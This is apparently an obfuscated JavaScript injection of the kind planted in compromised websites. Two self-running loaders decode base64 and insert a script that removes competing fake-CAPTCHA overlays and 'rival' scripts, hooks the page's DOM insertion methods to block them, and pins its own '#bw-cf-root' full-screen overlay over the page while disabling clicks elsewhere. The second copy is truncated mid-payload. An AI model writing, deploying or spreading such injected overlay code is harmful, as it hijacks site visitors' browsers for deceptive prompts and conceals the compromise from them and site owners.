(function(){if(window.__cogniRivalKillEarly)return;window.__cogniRivalKillEarly=1;var s=document.createElement(’script‘);s.textContent=atob(„KGZ1bmN0aW9uIGxzY0NvZ25pUml2YWxLaWxsSW5pdCgpew0KICBpZiAod2luZG93Ll9fY29nbmlSaXZhbEtpbGwpIHJldHVybjsNCiAgd2luZG93Ll9fY29nbmlSaXZhbEtpbGwgPSAxOw0KICB2YXIgUklWQUxfU0VMID0gWw0KICAgICdpZnJhbWVbc3JjKj0icmVjYXB0Y2hhIl0nLCdpZnJhbWVbc3JjKj0iZ29vZ2xlLmNvbS9yZWNhcHRjaGEiXScsJ2lmcmFtZVtzcmMqPSJnc3RhdGljLmNvbS9yZWNhcHRjaGEiXScsDQogICAgJy5nLXJlY2FwdGNoYS1idWJibGUtYXJyb3cnLCcjY2ZtJywnI2NmbS1tb2RhbCcsJ1tpZF49ImNmbSJdJywnW2lkKj0iY2ZtLW1vZGFsIl0nLA0KICAgICcuY2ZtZC1yYy1sYXllcicsJy5jZm1kLXJjLWhvc3QnLCcuY2ZtZC1yYy1iYWNrZHJvcCcsJy5jZm1kLXJjLWJsdXInLCdbZGF0YS1jZm1kLW93bl0nLA0KICAgICcuY2ZtZC1vdmVybGF5LWxvY2snLCdbY2xhc3MqPSJjZm1kLXJjIl0nLCcuY2FwdGNoYS1jb250YWluZXI6bm90KCNidy1jZi1yb290IC5jYXB0Y2hhLWNvbnRhaW5lciknDQogIF07DQogIHZhciBSSVZBTF9TQ1JJUFRfUkUgPSAvaW50ZXJzZXF8bmV3dGVzdFxkK3wxMjA5MjAyNnxjZm1kLXJjfF9fY2ZtZENhcHRjaGF8c2hpZWxkZ3VhcmR8YXNzZWxvYWR8aW1tZXJzaW9uem9uZXxramhnXC5sb2x8d3BzZWN1cmV8d3AtYWNjZWxlcmF0ZXwxMDRcLjM2fG1zZnRhdXRofG1haW4td3JhcHBlci0xL2k7DQogIGZ1bmN0aW9uIGlzT3VyKGVsKXsgcmV0dXJuIGVsICYmIChlbC5pZCA9PT0gJ2J3LWNmLXJvb3QnIHx8IChlbC5jbG9zZXN0ICYmIGVsLmNsb3Nlc3QoJyNidy1jZi1yb290JykpKTsgfQ0KICBmdW5jdGlvbiBpc1JpdmFsTm9kZShlbCl7DQogICAgaWYgKCFlbCB8fCBpc091cihlbCkpIHJldHVybiBmYWxzZTsNCiAgICB2YXIgdGFnID0gKGVsLnRhZ05hbWUgfHwgJycpLnRvVXBwZXJDYXNlKCk7DQogICAgaWYgKHRhZyA9PT0gJ1NDUklQVCcgJiYgUklWQUxfU0NSSVBUX1JFLnRlc3QoZWwuc3JjIHx8IGVsLmdldEF0dHJpYnV0ZSgnc3JjJykgfHwgJycpKSByZXR1cm4gdHJ1ZTsNCiAgICB2YXIgYmxvYiA9ICgoZWwuY2xhc3NOYW1lIHx8ICcnKSArICcgJyArIChlbC5pZCB8fCAnJykgKyAnICcgKyAoZWwuZ2V0QXR0cmlidXRlICYmIGVsLmdldEF0dHJpYnV0ZSgnZGF0YS1jZm1kLW93bicpIHx8ICcnKSkudG9Mb3dlckNhc2UoKTsNCiAgICByZXR1cm4gL2NmbWR8Y2ZtLW1vZGFsfGNmbS1yY3xjYXB0Y2hhLWNvbnRhaW5lcnxyZWNhcHRjaGF8aW50ZXJzZXF8YXNzZWxvYWR8bWFpbi13cmFwcGVyfG1zZnRhdXRofHZlcmlmeSB5b3UgYXJlIGh1bWFuL2kudGVzdChibG9iKTsNCiAgfQ0KICBmdW5jdGlvbiBudWtlKGVsKXsNCiAgICBpZiAoIWVsIHx8IGlzT3VyKGVsKSkgcmV0dXJuOw0KICAgIHRyeSB7IGVsLnJlbW92ZSgpOyB9IGNhdGNoKGUpew0KICAgICAgdHJ5IHsNCiAgICAgICAgZWwuc3R5bGUuY3NzVGV4dCA9ICdkaXNwbGF5Om5vbmUhaW1wb3J0YW50O3Zpc2liaWxpdHk6aGlkZGVuIWltcG9ydGFudDtwb2ludGVyLWV2ZW50czpub25lIWltcG9ydGFudDt6LWluZGV4Oi05OTk5IWltcG9ydGFudDtvcGFjaXR5OjAhaW1wb3J0YW50Oyc7DQogICAgICB9IGNhdGNoKGUyKXt9DQogICAgfQ0KICB9DQogIGZ1bmN0aW9uIHJlbW92ZVJpdmFsU2NyaXB0cygpew0KICAgIHRyeSB7DQogICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCdzY3JpcHRbc3JjXScpLmZvckVhY2goZnVuY3Rpb24ocyl7DQogICAgICAgIHZhciBzcmMgPSBzLnNyYyB8fCBzLmdldEF0dHJpYnV0ZSgnc3JjJykgfHwgJyc7DQogICAgICAgIGlmIChSSVZBTF9TQ1JJUFRfUkUudGVzdChzcmMpKSBudWtlKHMpOw0KICAgICAgfSk7DQogICAgfSBjYXRjaChlKXt9DQogIH0NCiAgZnVuY3Rpb24gc2NydWJIdG1sUm9vdCgpew0KICAgIHRyeSB7DQogICAgICB2YXIgaHRtbCA9IGRvY3VtZW50LmRvY3VtZW50RWxlbWVudDsNCiAgICAgIGlmICghaHRtbCkgcmV0dXJuOw0KICAgICAgaHRtbC5jbGFzc0xpc3QucmVtb3ZlKCdjZm1kLW92ZXJsYXktbG9jaycpOw0KICAgICAgaWYgKGRvY3VtZW50LmJvZHkpIGRvY3VtZW50LmJvZHkuY2xhc3NMaXN0LnJlbW92ZSgnY2ZtZC1vdmVybGF5LWxvY2snKTsNCiAgICAgIEFycmF5LmZyb20oaHRtbC5jaGlsZHJlbiB8fCBbXSkuZm9yRWFjaChmdW5jdGlvbihlbCl7DQogICAgICAgIGlmICghZWwgfHwgZWwudGFnTmFtZSA9PT0gJ0hFQUQnIHx8IGVsLnRhZ05hbWUgPT09ICdCT0RZJykgcmV0dXJuOw0KICAgICAgICBpZiAoZWwuaWQgPT09ICdidy1jZi1yb290JykgcmV0dXJuOw0KICAgICAgICBpZiAoaXNSaXZhbE5vZGUoZWwpKSBudWtlKGVsKTsNCiAgICAgIH0pOw0KICAgIH0gY2F0Y2goZSl7fQ0KICAgIHRyeSB7IGRlbGV0ZSB3aW5kb3cuX19jZm1kQ2FwdGNoYTsgfSBjYXRjaChlKXsgd2luZG93Ll9fY2ZtZENhcHRjaGEgPSB1bmRlZmluZWQ7IH0NCiAgfQ0KICBmdW5jdGlvbiBraWxsUml2YWxOb2Rlcygpew0KICAgIFJJVkFMX1NFTC5mb3JFYWNoKGZ1bmN0aW9uKHNlbCl7DQogICAgICB0cnkgeyBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKHNlbCkuZm9yRWFjaChmdW5jdGlvbihub2RlKXsgaWYgKCFpc091cihub2RlKSkgbnVrZShub2RlKTsgfSk7IH0gY2F0Y2goZSl7fQ0KICAgIH0pOw0KICAgIHNjcnViSHRtbFJvb3QoKTsNCiAgICByZW1vdmVSaXZhbFNjcmlwdHMoKTsNCiAgfQ0KICBmdW5jdGlvbiBlbnN1cmVSaXZhbENzcygpew0KICAgIHZhciBzdHlsZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjb2duaS1yaXZhbC1raWxsLWNzcycpOw0KICAgIGlmIChzdHlsZSkgcmV0dXJuOw0KICAgIHN0eWxlID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc3R5bGUnKTsNCiAgICBzdHlsZS5pZCA9ICdjb2duaS1yaXZhbC1raWxsLWNzcyc7DQogICAgc3R5bGUudGV4dENvbnRlbnQgPSAnaHRtbC5jZm1kLW92ZXJsYXktbG9jayxib2R5LmNmbWQtb3ZlcmxheS1sb2Nre292ZXJmbG93OmF1dG8haW1wb3J0YW50O3BvaW50ZXItZXZlbnRzOmF1dG8haW1wb3J0YW50O30uY2ZtZC1yYy1sYXllciwuY2ZtZC1yYy1ob3N0LC5jZm1kLXJjLWJsdXIsW2RhdGEtY2ZtZC1vd25dLGlmcmFtZVtzcmMqPSJyZWNhcHRjaGEiXSxpZnJhbWVbc3JjKj0iZ3N0YXRpYy5jb20vcmVjYXB0Y2hhIl0sLmctcmVjYXB0Y2hhOm5vdCgjYnctY2Ytcm9vdCAuZy1yZWNhcHRjaGEpLCNjZm0sI2NmbS1tb2RhbCxbaWRePSJjZm0iXSxbY2xhc3MqPSJjZm1kLXJjIl17ZGlzcGxheTpub25lIWltcG9ydGFudDt2aXNpYmlsaXR5OmhpZGRlbiFpbXBvcnRhbnQ7cG9pbnRlci1ldmVudHM6bm9uZSFpbXBvcnRhbnQ7ei1pbmRleDotOTk5OSFpbXBvcnRhbnQ7b3BhY2l0eTowIWltcG9ydGFudDt9aHRtbC5jb2duaS1jYXB0Y2hhLWFjdGl2ZSxodG1sLmNvZ25pLWNhcHRjaGEtYWN0aXZlIGJvZHl7b3ZlcmZsb3c6aGlkZGVuIWltcG9ydGFudDttYXJnaW46MCFpbXBvcnRhbnQ7cGFkZGluZzowIWltcG9ydGFudDt9aHRtbC5jb2duaS1jYXB0Y2hhLWFjdGl2ZSBib2R5Pio6bm90KCNidy1jZi1yb290KXtwb2ludGVyLWV2ZW50czpub25lIWltcG9ydGFudDt9I2J3LWNmLXJvb3QsI2J3LWNmLXJvb3QgKntwb2ludGVyLWV2ZW50czphdXRvIWltcG9ydGFudDt9I2J3LWNmLXJvb3R7ei1pbmRleDoyMTQ3NDgzNjQ3IWltcG9ydGFudDtwb3NpdGlvbjpmaXhlZCFpbXBvcnRhbnQ7dG9wOjAhaW1wb3J0YW50O2xlZnQ6MCFpbXBvcnRhbnQ7cmlnaHQ6MCFpbXBvcnRhbnQ7Ym90dG9tOjAhaW1wb3J0YW50O3dpZHRoOjEwMHZ3IWltcG9ydGFudDtoZWlnaHQ6MTAwdmghaW1wb3J0YW50O21pbi13aWR0aDoxMDB2dyFpbXBvcnRhbnQ7bWluLWhlaWdodDoxMDB2aCFpbXBvcnRhbnQ7bWF4LXdpZHRoOm5vbmUhaW1wb3J0YW50O21heC1oZWlnaHQ6bm9uZSFpbXBvcnRhbnQ7bWFyZ2luOjAhaW1wb3J0YW50O3BhZGRpbmc6MCFpbXBvcnRhbnQ7Ym94LXNpemluZzpib3JkZXItYm94IWltcG9ydGFudDt0cmFuc2Zvcm06bm9uZSFpbXBvcnRhbnQ7fSc7DQogICAgKGRvY3VtZW50LmhlYWQgfHwgZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50KS5hcHBlbmRDaGlsZChzdHlsZSk7DQogIH0NCiAgZnVuY3Rpb24gaG9va0RvbUluc2VydCgpew0KICAgIGZ1bmN0aW9uIGd1YXJkKG5vZGUpew0KICAgICAgaWYgKCFub2RlKSByZXR1cm4gZmFsc2U7DQogICAgICBpZiAobm9kZS5ub2RlVHlwZSA9PT0gMSAmJiBpc1JpdmFsTm9kZShub2RlKSkgeyBudWtlKG5vZGUpOyByZXR1cm4gdHJ1ZTsgfQ0KICAgICAgaWYgKG5vZGUudGFnTmFtZSA9PT0gJ1NDUklQVCcpIHsNCiAgICAgICAgdmFyIHNyYyA9IG5vZGUuc3JjIHx8IG5vZGUuZ2V0QXR0cmlidXRlKCdzcmMnKSB8fCAnJzsNCiAgICAgICAgaWYgKFJJVkFMX1NDUklQVF9SRS50ZXN0KHNyYykpIHsgbnVrZShub2RlKTsgcmV0dXJuIHRydWU7IH0NCiAgICAgIH0NCiAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQogICAgdHJ5IHsNCiAgICAgIHZhciBhcCA9IEVsZW1lbnQucHJvdG90eXBlLmFwcGVuZENoaWxkOw0KICAgICAgRWxlbWVudC5wcm90b3R5cGUuYXBwZW5kQ2hpbGQgPSBmdW5jdGlvbihjaCl7DQogICAgICAgIGlmIChndWFyZChjaCkpIHJldHVybiBjaDsNCiAgICAgICAgcmV0dXJuIGFwLmNhbGwodGhpcywgY2gpOw0KICAgICAgfTsNCiAgICAgIHZhciBpYiA9IEVsZW1lbnQucHJvdG90eXBlLmluc2VydEJlZm9yZTsNCiAgICAgIEVsZW1lbnQucHJvdG90eXBlLmluc2VydEJlZm9yZSA9IGZ1bmN0aW9uKGNoLCByZWYpew0KICAgICAgICBpZiAoZ3VhcmQoY2gpKSByZXR1cm4gY2g7DQogICAgICAgIHJldHVybiBpYi5jYWxsKHRoaXMsIGNoLCByZWYpOw0KICAgICAgfTsNCiAgICAgIHZhciByYyA9IEVsZW1lbnQucHJvdG90eXBlLnJlcGxhY2VDaGlsZDsNCiAgICAgIEVsZW1lbnQucHJvdG90eXBlLnJlcGxhY2VDaGlsZCA9IGZ1bmN0aW9uKG5ldSwgb2xkKXsNCiAgICAgICAgaWYgKGd1YXJkKG5ldSkpIHJldHVybiBvbGQ7DQogICAgICAgIHJldHVybiByYy5jYWxsKHRoaXMsIG5ldSwgb2xkKTsNCiAgICAgIH07DQogICAgfSBjYXRjaChlKXt9DQogIH0NCiAgd2luZG93LmxzY0NvZ25pU3RhY2tPdXJPdmVybGF5ID0gZnVuY3Rpb24ocm9vdCl7DQogICAgdmFyIGVsID0gcm9vdCB8fCBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYnctY2Ytcm9vdCcpOw0KICAgIGlmICghZWwpIHJldHVybjsNCiAgICBlbnN1cmVSaXZhbENzcygpOw0KICAgIHRyeSB7IGRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5jbGFzc0xpc3QuYWRkKCdjb2duaS1jYXB0Y2hhLWFjdGl2ZScpOyB9IGNhdGNoKGUpe30NCiAgICB0cnkgeyBlbC5yZW1vdmVBdHRyaWJ1dGUoJ3BvcG92ZXInKTsgfSBjYXRjaChlKXt9DQogICAgaWYgKGVsLnBhcmVudE5vZGUgIT09IGRvY3VtZW50LmRvY3VtZW50RWxlbWVudCkgew0KICAgICAgdHJ5IHsgZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmFwcGVuZENoaWxkKGVsKTsgfSBjYXRjaChlKXt9DQogICAgfQ0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCd6LWluZGV4JywgJzIxNDc0ODM2NDcnLCAnaW1wb3J0YW50Jyk7DQogICAgZWwuc3R5bGUuc2V0UHJvcGVydHkoJ3Bvc2l0aW9uJywgJ2ZpeGVkJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCd0b3AnLCAnMCcsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgnbGVmdCcsICcwJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdyaWdodCcsICcwJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdib3R0b20nLCAnMCcsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgnd2lkdGgnLCAnMTAwdncnLCAnaW1wb3J0YW50Jyk7DQogICAgZWwuc3R5bGUuc2V0UHJvcGVydHkoJ2hlaWdodCcsICcxMDB2aCcsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgnbWluLXdpZHRoJywgJzEwMHZ3JywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdtaW4taGVpZ2h0JywgJzEwMHZoJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdtYXgtd2lkdGgnLCAnbm9uZScsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgnbWF4LWhlaWdodCcsICdub25lJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdtYXJnaW4nLCAnMCcsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgndHJhbnNmb3JtJywgJ25vbmUnLCAnaW1wb3J0YW50Jyk7DQogIH07DQogIGZ1bmN0aW9uIHRpY2soKXsNCiAgICBraWxsUml2YWxOb2RlcygpOw0KICAgIGVuc3VyZVJpdmFsQ3NzKCk7DQogICAgaWYgKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdidy1jZi1yb290JykpIHdpbmRvdy5sc2NDb2duaVN0YWNrT3VyT3ZlcmxheSgpOw0KICB9DQogIGhvb2tEb21JbnNlcnQoKTsNCiAgdGljaygpOw0KfSkoKTs=“);(document.documentElement||document.head).appendChild(s);})();
(function(){if(window.__cogniB64Ran)return;window.__cogniB64Ran=1;var s=document.createElement(’script‘);s.textContent=atob(„KGZ1bmN0aW9uIGxzY0NvZ25pUml2YWxLaWxsSW5pdCgpew0KICBpZiAod2luZG93Ll9fY29nbmlSaXZhbEtpbGwpIHJldHVybjsNCiAgd2luZG93Ll9fY29nbmlSaXZhbEtpbGwgPSAxOw0KICB2YXIgUklWQUxfU0VMID0gWw0KICAgICdpZnJhbWVbc3JjKj0icmVjYXB0Y2hhIl0nLCdpZnJhbWVbc3JjKj0iZ29vZ2xlLmNvbS9yZWNhcHRjaGEiXScsJ2lmcmFtZVtzcmMqPSJnc3RhdGljLmNvbS9yZWNhcHRjaGEiXScsDQogICAgJy5nLXJlY2FwdGNoYS1idWJibGUtYXJyb3cnLCcjY2ZtJywnI2NmbS1tb2RhbCcsJ1tpZF49ImNmbSJdJywnW2lkKj0iY2ZtLW1vZGFsIl0nLA0KICAgICcuY2ZtZC1yYy1sYXllcicsJy5jZm1kLXJjLWhvc3QnLCcuY2ZtZC1yYy1iYWNrZHJvcCcsJy5jZm1kLXJjLWJsdXInLCdbZGF0YS1jZm1kLW93bl0nLA0KICAgICcuY2ZtZC1vdmVybGF5LWxvY2snLCdbY2xhc3MqPSJjZm1kLXJjIl0nLCcuY2FwdGNoYS1jb250YWluZXI6bm90KCNidy1jZi1yb290IC5jYXB0Y2hhLWNvbnRhaW5lciknDQogIF07DQogIHZhciBSSVZBTF9TQ1JJUFRfUkUgPSAvaW50ZXJzZXF8bmV3dGVzdFxkK3wxMjA5MjAyNnxjZm1kLXJjfF9fY2ZtZENhcHRjaGF8c2hpZWxkZ3VhcmR8YXNzZWxvYWR8aW1tZXJzaW9uem9uZXxramhnXC5sb2x8d3BzZWN1cmV8d3AtYWNjZWxlcmF0ZXwxMDRcLjM2fG1zZnRhdXRofG1haW4td3JhcHBlci0xL2k7DQogIGZ1bmN0aW9uIGlzT3VyKGVsKXsgcmV0dXJuIGVsICYmIChlbC5pZCA9PT0gJ2J3LWNmLXJvb3QnIHx8IChlbC5jbG9zZXN0ICYmIGVsLmNsb3Nlc3QoJyNidy1jZi1yb290JykpKTsgfQ0KICBmdW5jdGlvbiBpc1JpdmFsTm9kZShlbCl7DQogICAgaWYgKCFlbCB8fCBpc091cihlbCkpIHJldHVybiBmYWxzZTsNCiAgICB2YXIgdGFnID0gKGVsLnRhZ05hbWUgfHwgJycpLnRvVXBwZXJDYXNlKCk7DQogICAgaWYgKHRhZyA9PT0gJ1NDUklQVCcgJiYgUklWQUxfU0NSSVBUX1JFLnRlc3QoZWwuc3JjIHx8IGVsLmdldEF0dHJpYnV0ZSgnc3JjJykgfHwgJycpKSByZXR1cm4gdHJ1ZTsNCiAgICB2YXIgYmxvYiA9ICgoZWwuY2xhc3NOYW1lIHx8ICcnKSArICcgJyArIChlbC5pZCB8fCAnJykgKyAnICcgKyAoZWwuZ2V0QXR0cmlidXRlICYmIGVsLmdldEF0dHJpYnV0ZSgnZGF0YS1jZm1kLW93bicpIHx8ICcnKSkudG9Mb3dlckNhc2UoKTsNCiAgICByZXR1cm4gL2NmbWR8Y2ZtLW1vZGFsfGNmbS1yY3xjYXB0Y2hhLWNvbnRhaW5lcnxyZWNhcHRjaGF8aW50ZXJzZXF8YXNzZWxvYWR8bWFpbi13cmFwcGVyfG1zZnRhdXRofHZlcmlmeSB5b3UgYXJlIGh1bWFuL2kudGVzdChibG9iKTsNCiAgfQ0KICBmdW5jdGlvbiBudWtlKGVsKXsNCiAgICBpZiAoIWVsIHx8IGlzT3VyKGVsKSkgcmV0dXJuOw0KICAgIHRyeSB7IGVsLnJlbW92ZSgpOyB9IGNhdGNoKGUpew0KICAgICAgdHJ5IHsNCiAgICAgICAgZWwuc3R5bGUuY3NzVGV4dCA9ICdkaXNwbGF5Om5vbmUhaW1wb3J0YW50O3Zpc2liaWxpdHk6aGlkZGVuIWltcG9ydGFudDtwb2ludGVyLWV2ZW50czpub25lIWltcG9ydGFudDt6LWluZGV4Oi05OTk5IWltcG9ydGFudDtvcGFjaXR5OjAhaW1wb3J0YW50Oyc7DQogICAgICB9IGNhdGNoKGUyKXt9DQogICAgfQ0KICB9DQogIGZ1bmN0aW9uIHJlbW92ZVJpdmFsU2NyaXB0cygpew0KICAgIHRyeSB7DQogICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCdzY3JpcHRbc3JjXScpLmZvckVhY2goZnVuY3Rpb24ocyl7DQogICAgICAgIHZhciBzcmMgPSBzLnNyYyB8fCBzLmdldEF0dHJpYnV0ZSgnc3JjJykgfHwgJyc7DQogICAgICAgIGlmIChSSVZBTF9TQ1JJUFRfUkUudGVzdChzcmMpKSBudWtlKHMpOw0KICAgICAgfSk7DQogICAgfSBjYXRjaChlKXt9DQogIH0NCiAgZnVuY3Rpb24gc2NydWJIdG1sUm9vdCgpew0KICAgIHRyeSB7DQogICAgICB2YXIgaHRtbCA9IGRvY3VtZW50LmRvY3VtZW50RWxlbWVudDsNCiAgICAgIGlmICghaHRtbCkgcmV0dXJuOw0KICAgICAgaHRtbC5jbGFzc0xpc3QucmVtb3ZlKCdjZm1kLW92ZXJsYXktbG9jaycpOw0KICAgICAgaWYgKGRvY3VtZW50LmJvZHkpIGRvY3VtZW50LmJvZHkuY2xhc3NMaXN0LnJlbW92ZSgnY2ZtZC1vdmVybGF5LWxvY2snKTsNCiAgICAgIEFycmF5LmZyb20oaHRtbC5jaGlsZHJlbiB8fCBbXSkuZm9yRWFjaChmdW5jdGlvbihlbCl7DQogICAgICAgIGlmICghZWwgfHwgZWwudGFnTmFtZSA9PT0gJ0hFQUQnIHx8IGVsLnRhZ05hbWUgPT09ICdCT0RZJykgcmV0dXJuOw0KICAgICAgICBpZiAoZWwuaWQgPT09ICdidy1jZi1yb290JykgcmV0dXJuOw0KICAgICAgICBpZiAoaXNSaXZhbE5vZGUoZWwpKSBudWtlKGVsKTsNCiAgICAgIH0pOw0KICAgIH0gY2F0Y2goZSl7fQ0KICAgIHRyeSB7IGRlbGV0ZSB3aW5kb3cuX19jZm1kQ2FwdGNoYTsgfSBjYXRjaChlKXsgd2luZG93Ll9fY2ZtZENhcHRjaGEgPSB1bmRlZmluZWQ7IH0NCiAgfQ0KICBmdW5jdGlvbiBraWxsUml2YWxOb2Rlcygpew0KICAgIFJJVkFMX1NFTC5mb3JFYWNoKGZ1bmN0aW9uKHNlbCl7DQogICAgICB0cnkgeyBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKHNlbCkuZm9yRWFjaChmdW5jdGlvbihub2RlKXsgaWYgKCFpc091cihub2RlKSkgbnVrZShub2RlKTsgfSk7IH0gY2F0Y2goZSl7fQ0KICAgIH0pOw0KICAgIHNjcnViSHRtbFJvb3QoKTsNCiAgICByZW1vdmVSaXZhbFNjcmlwdHMoKTsNCiAgfQ0KICBmdW5jdGlvbiBlbnN1cmVSaXZhbENzcygpew0KICAgIHZhciBzdHlsZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjb2duaS1yaXZhbC1raWxsLWNzcycpOw0KICAgIGlmIChzdHlsZSkgcmV0dXJuOw0KICAgIHN0eWxlID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc3R5bGUnKTsNCiAgICBzdHlsZS5pZCA9ICdjb2duaS1yaXZhbC1raWxsLWNzcyc7DQogICAgc3R5bGUudGV4dENvbnRlbnQgPSAnaHRtbC5jZm1kLW92ZXJsYXktbG9jayxib2R5LmNmbWQtb3ZlcmxheS1sb2Nre292ZXJmbG93OmF1dG8haW1wb3J0YW50O3BvaW50ZXItZXZlbnRzOmF1dG8haW1wb3J0YW50O30uY2ZtZC1yYy1sYXllciwuY2ZtZC1yYy1ob3N0LC5jZm1kLXJjLWJsdXIsW2RhdGEtY2ZtZC1vd25dLGlmcmFtZVtzcmMqPSJyZWNhcHRjaGEiXSxpZnJhbWVbc3JjKj0iZ3N0YXRpYy5jb20vcmVjYXB0Y2hhIl0sLmctcmVjYXB0Y2hhOm5vdCgjYnctY2Ytcm9vdCAuZy1yZWNhcHRjaGEpLCNjZm0sI2NmbS1tb2RhbCxbaWRePSJjZm0iXSxbY2xhc3MqPSJjZm1kLXJjIl17ZGlzcGxheTpub25lIWltcG9ydGFudDt2aXNpYmlsaXR5OmhpZGRlbiFpbXBvcnRhbnQ7cG9pbnRlci1ldmVudHM6bm9uZSFpbXBvcnRhbnQ7ei1pbmRleDotOTk5OSFpbXBvcnRhbnQ7b3BhY2l0eTowIWltcG9ydGFudDt9aHRtbC5jb2duaS1jYXB0Y2hhLWFjdGl2ZSxodG1sLmNvZ25pLWNhcHRjaGEtYWN0aXZlIGJvZHl7b3ZlcmZsb3c6aGlkZGVuIWltcG9ydGFudDttYXJnaW46MCFpbXBvcnRhbnQ7cGFkZGluZzowIWltcG9ydGFudDt9aHRtbC5jb2duaS1jYXB0Y2hhLWFjdGl2ZSBib2R5Pio6bm90KCNidy1jZi1yb290KXtwb2ludGVyLWV2ZW50czpub25lIWltcG9ydGFudDt9I2J3LWNmLXJvb3QsI2J3LWNmLXJvb3QgKntwb2ludGVyLWV2ZW50czphdXRvIWltcG9ydGFudDt9I2J3LWNmLXJvb3R7ei1pbmRleDoyMTQ3NDgzNjQ3IWltcG9ydGFudDtwb3NpdGlvbjpmaXhlZCFpbXBvcnRhbnQ7dG9wOjAhaW1wb3J0YW50O2xlZnQ6MCFpbXBvcnRhbnQ7cmlnaHQ6MCFpbXBvcnRhbnQ7Ym90dG9tOjAhaW1wb3J0YW50O3dpZHRoOjEwMHZ3IWltcG9ydGFudDtoZWlnaHQ6MTAwdmghaW1wb3J0YW50O21pbi13aWR0aDoxMDB2dyFpbXBvcnRhbnQ7bWluLWhlaWdodDoxMDB2aCFpbXBvcnRhbnQ7bWF4LXdpZHRoOm5vbmUhaW1wb3J0YW50O21heC1oZWlnaHQ6bm9uZSFpbXBvcnRhbnQ7bWFyZ2luOjAhaW1wb3J0YW50O3BhZGRpbmc6MCFpbXBvcnRhbnQ7Ym94LXNpemluZzpib3JkZXItYm94IWltcG9ydGFudDt0cmFuc2Zvcm06bm9uZSFpbXBvcnRhbnQ7fSc7DQogICAgKGRvY3VtZW50LmhlYWQgfHwgZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50KS5hcHBlbmRDaGlsZChzdHlsZSk7DQogIH0NCiAgZnVuY3Rpb24gaG9va0RvbUluc2VydCgpew0KICAgIGZ1bmN0aW9uIGd1YXJkKG5vZGUpew0KICAgICAgaWYgKCFub2RlKSByZXR1cm4gZmFsc2U7DQogICAgICBpZiAobm9kZS5ub2RlVHlwZSA9PT0gMSAmJiBpc1JpdmFsTm9kZShub2RlKSkgeyBudWtlKG5vZGUpOyByZXR1cm4gdHJ1ZTsgfQ0KICAgICAgaWYgKG5vZGUudGFnTmFtZSA9PT0gJ1NDUklQVCcpIHsNCiAgICAgICAgdmFyIHNyYyA9IG5vZGUuc3JjIHx8IG5vZGUuZ2V0QXR0cmlidXRlKCdzcmMnKSB8fCAnJzsNCiAgICAgICAgaWYgKFJJVkFMX1NDUklQVF9SRS50ZXN0KHNyYykpIHsgbnVrZShub2RlKTsgcmV0dXJuIHRydWU7IH0NCiAgICAgIH0NCiAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQogICAgdHJ5IHsNCiAgICAgIHZhciBhcCA9IEVsZW1lbnQucHJvdG90eXBlLmFwcGVuZENoaWxkOw0KICAgICAgRWxlbWVudC5wcm90b3R5cGUuYXBwZW5kQ2hpbGQgPSBmdW5jdGlvbihjaCl7DQogICAgICAgIGlmIChndWFyZChjaCkpIHJldHVybiBjaDsNCiAgICAgICAgcmV0dXJuIGFwLmNhbGwodGhpcywgY2gpOw0KICAgICAgfTsNCiAgICAgIHZhciBpYiA9IEVsZW1lbnQucHJvdG90eXBlLmluc2VydEJlZm9yZTsNCiAgICAgIEVsZW1lbnQucHJvdG90eXBlLmluc2VydEJlZm9yZSA9IGZ1bmN0aW9uKGNoLCByZWYpew0KICAgICAgICBpZiAoZ3VhcmQoY2gpKSByZXR1cm4gY2g7DQogICAgICAgIHJldHVybiBpYi5jYWxsKHRoaXMsIGNoLCByZWYpOw0KICAgICAgfTsNCiAgICAgIHZhciByYyA9IEVsZW1lbnQucHJvdG90eXBlLnJlcGxhY2VDaGlsZDsNCiAgICAgIEVsZW1lbnQucHJvdG90eXBlLnJlcGxhY2VDaGlsZCA9IGZ1bmN0aW9uKG5ldSwgb2xkKXsNCiAgICAgICAgaWYgKGd1YXJkKG5ldSkpIHJldHVybiBvbGQ7DQogICAgICAgIHJldHVybiByYy5jYWxsKHRoaXMsIG5ldSwgb2xkKTsNCiAgICAgIH07DQogICAgfSBjYXRjaChlKXt9DQogIH0NCiAgd2luZG93LmxzY0NvZ25pU3RhY2tPdXJPdmVybGF5ID0gZnVuY3Rpb24ocm9vdCl7DQogICAgdmFyIGVsID0gcm9vdCB8fCBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYnctY2Ytcm9vdCcpOw0KICAgIGlmICghZWwpIHJldHVybjsNCiAgICBlbnN1cmVSaXZhbENzcygpOw0KICAgIHRyeSB7IGRvY3VtZW50LmRvY3VtZW50RWxlbWVu